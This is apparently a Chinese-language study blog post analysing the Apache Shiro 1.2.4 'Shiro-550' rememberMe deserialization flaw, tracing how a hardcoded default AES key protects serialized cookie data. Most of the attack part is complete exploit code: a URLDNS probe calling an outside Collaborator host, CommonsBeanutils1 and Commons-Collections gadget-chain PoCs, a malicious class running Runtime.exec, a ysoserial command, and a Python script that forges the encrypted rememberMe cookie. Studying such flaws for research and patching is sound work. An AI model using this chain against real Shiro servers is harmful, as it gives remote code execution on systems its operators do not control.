shiro550 简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。 Apache Shiro基本功能点如下图所示:
Authentication :身份认证 / 登录,验证用户是不是拥有相应的身份;
Authorization :授权,即权限验证,验证某个已认证的用户是否拥有某个权限;即判断用户是否能做事情,常见的如:验证某个用户是否拥有某个角色。或者细粒度的验证某个用户对某个资源是否具有某个权限;
Session Management :会话管理,即用户登录后就是一次会话,在没有退出之前,它的所有信息都在会话中;会话可以是普通 JavaSE 环境的,也可以是如 Web 环境的;
Cryptography :加密,保护数据的安全性,如密码加密存储到数据库,而不是明文存储;
Web Support :Web 支持,可以非常容易的集成到 Web 环境;
Caching :缓存,比如用户登录后,其用户信息、拥有的角色 / 权限不必每次去查,这样可以提高效率;
Concurrency :shiro 支持多线程应用的并发验证,即如在一个线程中开启另一个线程,能把权限自动传播过去;
Testing :提供测试支持;
Run As :允许一个用户假装为另一个用户(如果他们允许)的身份进行访问;
Remember Me :记住我,这个是非常常见的功能,即一次登录后,下次再来的话不用登录了;
注意,本次的Shiro反序列化漏洞点就是出现在Remember Me 这个功能模块
环境部署 shiro源码下载:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 war包地址:https://github.com/jas502n/SHIRO-550
/sample/web 模块 配置Tomcat 如果报错添加依赖
<dependency > <groupId > javax.servlet.jsp.jstl</groupId > <artifactId > jstl-api</artifactId > <version > 1.2</version > </dependency > <dependency > <groupId > taglibs</groupId > <artifactId > standard</artifactId > <version > 1.1.2</version > </dependency >
过程调试 进入登录页面,勾选RemeberMe进行登录 登录成功后,抓包,删除JSSESIONID(优先级较高),然后调式
加密 入口是在 AbstractRememberMeManager#onSuccessfulLogin 方法 这里我们正向分析一下,debug打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看
继续跟进
进入AbstractRememberMeManager#convertPrincipalsToBytes
对结果对象序列化为字节数组,然后进行加密
进入encrypt,看看怎么加密
加密服务cipherService
AES-CBC模式加密,秘钥长度128位
跟进getEncryptionCipherKey()
继续跟踪在哪里赋值的,查找用法
继续查找用法
这里加解密秘钥赋值相同,继续查找setCipherKey的用法
AbstractRememberMeManager的构造方法理面
继续查看常量
private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
发现AES加解密使用默认秘钥
shiro550一个关键点就是使用默认的秘钥
然后使用默认key进行AES加密(具体就不看了,随机生成一个初始向量......)
返回得到加密数据字符数组
跟进rememberSerializedIdentity
将AES加密后数据Base64编码写入cookie里面
getCookie,获得到cookie的一些属性设置
所以会写入cookie里面的rememberMe字段
总结就是使用固定key对序列化数据进行AES加密,然后base64编码后写入cookie里面的rememberMe字段中
解密 shiro进行权限校验是通过Filter实现的 OncePerRequestFilter#doFilter ->AbstractShiroFilter#doFilterInternal 查看对应方法 跟进createSubject buildSubject会调用DefaultSecurityManager中的createSubject
跟进resolvePrincipals
继续跟进
到AbstractRememberMeManager#getRememberedPrincipals
先获取cookie中序列化数据,然后再反序列化
调用父类
CookieRememberMeManager#getRememberedSerializedIdentity 获取cookie Remeberme字段并base64解码并返回数据 接着进入convertBytesToPrincipals方法 解码后数据解密再反序列化 解密与加密对称,也是使用默认秘钥 反序列化
利用链 URLDNS链探测 import java.io.*;import java.util.HashMap;import java.net.URL;import java.lang.reflect.Field; public class URLDNS { public static void main (String[] args) throws Exception{ HashMap map=new HashMap (); URL url=new URL ("http://e2hvmezvglr70to8gako0p6ycpig65.burpcollaborator.net" ); Class clazz=Class.forName("java.net.URL" ); Field hashcode=clazz.getDeclaredField("hashCode" ); hashcode.setAccessible(true ); hashcode.set(url,123 ); map.put(url,"test" ); hashcode.set(url,-1 ); serialize(map); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (Filename)); Object object=ois.readObject(); return object; } }
没有cc依赖 cb链(CommonsBeanUtils1 ) 打shiro时cb的版本为1.8.3
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency>
cb漏洞点 Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 JavaBean 。
Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty , 这个函数其实就是获取Bean中的某个属性的值, 而底层是使用反射调用了javaBean的getxxx的方法来获取值的 示例如下
import org.apache.commons.beanutils.PropertyUtils; public class CBMethods { public static void main (String[] args) throws Exception{ Person yyjccc = new Person (666 , "yyjccc" ); PropertyUtils.getProperty(yyjccc,"id" ); PropertyUtils.getProperty(templates,"outputProperties" ); } }
而在前面cc3链(cc3链 )中动态加载字节码的类TemplatesImpl中存在getOutputProperties(),且里面调用了方法newTransformer,而且刚好是javabean的getxxx
链子分析 我们的链子PropertyUtils.getProperty函数中会掉到这里 进入getSimpleProperty函数,在这个函数中会使用getxxx函数 TemplatesImpl中存在getOutputProperties() 触发newTransformer,从而动态加载了字节码,因为getProperty加载的是get,直接传outputProperties
PropertyUtils.getProperty(templates,"outputProperties");
在BeanComparator中的compare方法就刚刚好
继续寻找,其实cc2中就有compare,参考cc2中的入口类
使用PriorityQueue,需要传入一个comparetor, 这里直接传BeanComparator,并初始化设置属性property为outputProperties,为了触发getOutputProperties方法
BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties"); PriorityQueue<Object> priorityqueue = new PriorityQueue<>(objectBeanComparator);
这样写是不行的,
这是因为在调用add的时候,就会触发该类的compare方法,来寻找该类了,因此就只能通过反射修改
Class c = transformingComparator.getClass(); Field tfactoryfeild = c.getDeclaredField("transformer"); tfactoryfeild.setAccessible(true); tfactoryfeild.set(transformingComparator,invokerTransformer);
若new的时候传入使用CC2中的comparator,也样也不行,虽然序列化成功,但在打shiro的时候不会成功
这是因为我们使用这个构造方法时,使用了common-collection3包里面的函数,而shiro默认没有cc依赖,因此会出错
那么只有换个构造方法,使用这个,我们需要传入一个comparartor
随便找一个Comparator类
BeanComparator<Object> objectBeanComparator = new BeanComparator <>("outputProperties" ,new AttrCompare ());
恶意类
package org.example;import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
#### 最后poc
package org.example;import beans.Person;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class cb { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class c1=templates.getClass(); Field namefield = c1.getDeclaredField("_name" ); namefield.setAccessible(true ); namefield.set(templates,"aaa" ); Field bytecodes=c1.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("D:\\coderesp\\java\\learn\\exp\\target\\classes\\org\\example\\test.class" )); byte [][] codes={code}; bytecodes.set(templates,codes); Field tfactoryfield = c1.getDeclaredField("_tfactory" ); tfactoryfield.setAccessible(true ); tfactoryfield.set(templates,new TransformerFactoryImpl ()); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); BeanComparator<Object> objectBeanComparator = new BeanComparator <>("outputProperties" ,new AttrCompare ()); PriorityQueue<Object> priorityqueue = new PriorityQueue <>(transformingComparator); priorityqueue.add(templates); priorityqueue.add(1 ); Class c3 = priorityqueue.getClass(); Field comparatorfield = c3.getDeclaredField("comparator" ); comparatorfield.setAccessible(true ); comparatorfield.set(priorityqueue,objectBeanComparator); utils.tools.serialize(priorityqueue); } }
ysoserial
java -jar ysoserial-all.jar CommonsBeanutils1 calc >ser.bin
这里打shiro可能会失败,原因是ysoserial使用的cb库版本为1.9,可能与shiro自带的cb版本不对,从而失败
有cc依赖 概述 常规的链子都会用到Transfer数组,而shiro和tomcat的类加载机制,使其在反序列化的时候无法加载这个数组(具体原因…),导致攻击链失效 因此需要避免使用数组,而这条链就是没有使用数组
思路 CC3+CC2+CC6 动态类加载+InvokeTransformer+TideEntry-hashmap入口类
再度分析 使用cc3中的动态类加载 将cc3前面部分拿过来
TemplatesImpl templates= new TemplatesImpl (); Class tc=templates.getClass(); Field namefield = tc.getDeclaredField("_name" );namefield.setAccessible(true ); namefield.set(templates,"aaa" ); Field bytecodefield = tc.getDeclaredField("_bytecodes" );bytecodefield.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("D:\\coderesp\\java\\learn\\exp\\target\\classes\\org\\example\\test.class" ));;byte [][] codes={code};bytecodefield.set(templates,codes); Field tfactoryfield = tc.getDeclaredField("_tfactory" );tfactoryfield.setAccessible(true ); tfactoryfield.set(templates,new TransformerFactoryImpl ());
InvokeTransformer可以直接调用newTransformer方法进行类加载 入口类
HashMap.readObject()会触发hashCode方法
TiedMapEntry中的HashCode调用了getValue(),getVaule中调了get
LazyMap 这个类的 get 方法中出现了 .transform 方法
因此只需要将TiedMapEntry放入LazyMap ,再把TiedMapEntry放入hashmap 就会触发LazyMap中的key的get,
最终poc package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.TransformerConfigurationException;import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class c11 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException { TemplatesImpl templates= new TemplatesImpl (); Class tc=templates.getClass(); Field namefield = tc.getDeclaredField("_name" ); namefield.setAccessible(true ); namefield.set(templates,"aaa" ); Field bytecodefield = tc.getDeclaredField("_bytecodes" ); bytecodefield.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("D:\\coderesp\\java\\learn\\exp\\target\\classes\\org\\example\\test.class" ));; byte [][] codes={code}; bytecodefield.set(templates,codes); Field tfactoryfield = tc.getDeclaredField("_tfactory" ); tfactoryfield.setAccessible(true ); tfactoryfield.set(templates,new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" ,null ,null ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" ,"hu" ); Map<Object,Object> decoratemap=LazyMap.decorate(hashMap,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (decoratemap,templates); HashMap<Object,Object> map2=new HashMap <>(); map2.put(tiedMapEntry,"sss" ); decoratemap.remove(templates); Class c=decoratemap.getClass(); Field factory=c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(decoratemap,invokerTransformer); utils.tools.serialize(map2); } }
AES+base64加密脚本 from Crypto.Cipher import AESimport uuidimport base64def convert_bin (file ): with open (file,'rb' ) as f: return f.read() def AES_enc (data ): BS=AES.block_size pad=lambda s:s+((BS-len (s)%BS)*chr (BS-len (s)%BS)).encode() key="kPH+bIxk5D2deZiIxcaaaA==" mode=AES.MODE_CBC iv=uuid.uuid4().bytes encryptor=AES.new(base64.b64decode(key),mode,iv) ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))).decode() return ciphertext if __name__=="__main__" : data=convert_bin("ser.bin" ) print (AES_enc(data))